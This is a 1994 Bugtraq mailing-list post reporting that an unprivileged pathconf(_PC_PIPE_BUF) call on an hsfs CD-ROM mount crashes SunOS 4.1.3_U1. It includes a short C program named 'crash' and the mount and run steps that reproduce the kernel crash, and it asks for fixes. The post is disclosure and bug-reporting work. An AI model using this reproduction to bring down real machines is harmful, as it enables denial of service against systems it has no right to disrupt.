[333] in bugtraq
SunOS pathconf on hsfs filesystem crashes machine
daemon@ATHENA.MIT.EDU (Patrick Rabau)
Sat Dec 3 23:11:56 1994
Date: Sat, 3 Dec 1994 21:40:58 -0500
From: Patrick Rabau <rabau@ultra.acs.ohio-state.edu>
To: bugtraq@fc.net
Has anyone noticed the same problem on SunOS?
Doing a pathconf(_PC_PIPE_BUF) on a cdrom file system mounted with type
hsfs crashes SunOS 4.1.3_U1, both on a sun4c and a sun4m machine. This
is run as an ordinary user!!
[Both these machines had the patch below applied, but it's probably an
unrelated problem.
Patch-ID# 101833-02
Synopsis: SunOS 4.1.3_U1: 4.x systems can't read symlinks in hsfs filesystems]
For details: compile the following into a file named `crash'.
#include <unistd.h>
#include <errno.h>
main(argc, argv)
int argc;
char **argv;
{
long val;
if ((val = pathconf(argv[1], _PC_PIPE_BUF)) == -1) {
printf("errno: %d\n", errno);
perror("pathconf");
exit(1);
}
printf("PIPE_BUF = %d\n", val);
}
Now mount the cdrom:
# mount -t hsfs -o ro /dev/sr0 /mnt
As yourself:
> crash /mnt
Any fixes?
--Patrick Rabau
